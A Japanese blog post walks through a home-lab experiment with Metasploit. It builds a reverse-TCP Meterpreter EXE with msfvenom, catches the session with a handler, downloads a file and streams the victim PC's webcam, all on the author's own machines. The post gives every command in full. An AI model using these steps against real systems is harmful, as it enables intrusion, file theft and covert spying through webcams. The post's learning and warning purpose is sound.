a3VtYQ2e9uA1のブログ

特記事項はありません

Webカメラを遠隔操作してみた

Z○○mとか色々流行ってるらしい

最近リモートワークとか何とかでWebカメラが注目されていますね.
しかし,例えばコンピュータがマルウェアに感染している等不適切な状態で使用すればプライベートや機密情報が筒抜けになってしまう恐れがあります.

ということでMetasploitを用いたWebカメラの遠隔操作の実験をやってみました.

この本を参考にしました.とても面白い本なのでおすすめです.
https://www.shoeisha.co.jp/book/detail/9784798155302
IPUSIRON,『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』,株式会社翔泳社,2018年

これはセキュリティの知識を深めるための実験であり,犯罪行為を唆すものではありません.実験する際は必ず自分が管理する機器を用いてください.自分のものではないネットワークに対しこのようなことを行うのは非倫理的かつ犯罪であり,厳しく罰せられるべきです.

実験環境

  • ルータ(アクセスポイント)
    • 以下2台のパソコンを接続
  • Windowsパソコン
    • OSはWindows10 64bit
    • IPアドレスは192.168.1.100
    • アンチウィルスソフトを使用していない
    • Windows Defenderのリアルタイム保護は無効
    • Webカメラが付いてる
  • 攻撃用パソコン

最終的にこんな感じになる↓

f:id:a3VtYQ2e9uA1:20200503214432p:plain
最終的な実験環境

ペイロードの作成

シェルコードを含んだプログラムを作ります.

攻撃用パソコンの端末でmsfvenom -p [ペイロード] LHOST=[攻撃用パソコンのIP] -f [出力ファイル形式] -o [出力ファイル]を実行します.
今回,ペイロードwindows/x64/meterpreter/reverse_tcp,攻撃用パソコンのIPアドレス192.168.1.123,出力ファイル形式はexe,出力ファイル名は~/ayashii.exeとします.

> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 -f exe -o ~/ayashii.exe

ホームディレクトリにayashii.exeが出力されます.このEXEをClamAV等のアンチウィルスソフトで検査するとトロイの木馬判定をくらいます.

ペイロードWindowsパソコンで実行する

まず,ayashii.exeWindowsパソコンに保存します.ファイル共有でもNASでもUSBメモリでも構いませんが,リアルタイム保護を無効化していないと保存の時点で弾かれます.
実験ではC:\User\user\Desktop\folderに保存しました.

f:id:a3VtYQ2e9uA1:20200503214529p:plain
Windowsパソコンにペイロードを保存した.同じディレクトリにはsecret.txtがある

さて,保存したayashii.exeを実行します.何も起こらないか,あるいは一瞬だけ何かのウィンドウが開いてまた消えます.

リバースコネクトを待ち受ける

攻撃用パソコンでMetasploitを使用します.

端末でmsfconsoleを実行すると,少々時間が掛かるかもしれませんがMetasploitが起動して楽しいバナーアスキーアートとmsfプロンプトが表示されます.

f:id:a3VtYQ2e9uA1:20200503214636p:plain
msfconsoleを起動した.バナーには多くの種類があり,msfプロンプトでbannerを実行すると様々なAAを見ることができる

モジュールの設定

ハンドラモジュールexploit/multi/handlerを実行します.

msf > use exploit/multi/handler

ペイロードの指定

Meterpreterセッション確立するためのペイロードとしてwindows/x64/meterpreter/reverse_tcpを指定します.

msf > set payload windows/x64/meterpreter/reverse_tcp

IPアドレス・ポート番号の設定

攻撃用パソコンのIPアドレスを192.168.1.123,使用するポート番号を4444に設定します.

msf > set LHOST 192.168.1.123
msf > set LPORT 4444

実行!

設定したハンドラを実行します.

msf > exploit

f:id:a3VtYQ2e9uA1:20200503214829p:plain
Exploit!

ayashii.exeを実行していれば,セッションが確立されMeterpreterプロンプトが表示されると思います.表示されない場合もう一度Windowsパソコンでayashii.exeを実行してみます.

f:id:a3VtYQ2e9uA1:20200503214850p:plain
Meterpreterセッションが確立された

ファイルを盗んでみる

Windowsパソコンの操作を奪いました.したがって以降は全て攻撃用パソコンのMeterpreterプロンプトで操作します.

カレントディレクトリを表示する

カレントディレクトリを調べます.Linuxのコマンドと同様にpwdで出力されます.

meterpreter > pwd

実験ではayashii.exeを保存したC:\User\user\Desktop\folderが表示されました.

カレントディレクトリの中身を覗く

これもLinuxコマンドと同じくlsで可能です.

meterpreter > ls

実験ではayashii.exesecret.txtが表示されました.

ファイルをダウンロードする

downloadコマンドでファイルを保存できます.試しにsecret.txtを盗んでみます.

meterpreter > download secret.txt

C:\User\user\Desktop\folder\secret.txtが攻撃用パソコンのホームディレクトリに保存されました.

f:id:a3VtYQ2e9uA1:20200503215012p:plain
pwd, ls, downloadを実行した

~/secret.txtをVimで開いてみました.

f:id:a3VtYQ2e9uA1:20200503215037p:plain
保存したsecret.txtを開いてみた

Webカメラで盗撮してみる

Webカメラを遠隔操作してみます.

有効なWebカメラがあるか確認する

当然ですがWindowsパソコンにWebカメラが無ければ操作できるはずがありません.Meterpreterプロンプトでwebcam_listを実行します.存在すればリストアップされるし,無ければ無いと言われます.

meterpreter > webcam_list

実験に使用したWindowsパソコンの構成は以下のようであるため,2つのWebカメラが検出されました.

f:id:a3VtYQ2e9uA1:20200503215157p:plain
Windowsパソコン.Webカメラは2つある

Webカメラで盗撮する.

Webカメラのストリーム映像を表示するには,webcam_stream -i [Webカメラの番号]を実行します.
今回の実験ではUSB接続のカメラのデータを見たいため[Webカメラの番号]に2を指定しましたが,デフォルトでは1です.

meterpreter > webcam_stream -i 2

f:id:a3VtYQ2e9uA1:20200503215235p:plain
webcam_list, webcam_streamを実行した

以上を実行するとWebブラウザが開きストリーム映像が出力されます.
エラーが起こる場合はcheeseをインストールすると解決するかもしれません.cheeseGnome向けのカメラアプリです.

f:id:a3VtYQ2e9uA1:20200503215419p:plain
FirefoxWebカメラのストリーム映像が確認できる.止めるにはこのウィンドウを閉じた後,端末でCtrl+Cを入力する

おわり

Webカメラを遠隔操作する実験をやってみました.WindowsパソコンからしてみればアヤシイEXEファイルを実行しただけで盗撮されてしまうので恐ろしいことこの上ないですね.

さて,今回の実験は「ハッキング・ラボの作り方」という書籍を参考に行いました.しかし書籍と異なりペイロード自動起動を有効にしてバックドアを設置する手順は省略しました.というのも,Windows10ではWindows Defenderのリアルタイム保護を無効に設定しても,一度電源を落とすと自動的に有効になってしまうからです.つまり,実験終了後にパソコンを再起動して再びayashii.exeを実行するとWindows Defenderのアラートが出ると考えられます.

Windowsパソコンを使う際は,必ず何らかのウィルス対策を講じて,不審なプログラムは実行しないようにしましょう.
次回は権限昇格とかパスワードの解析とかやるかも.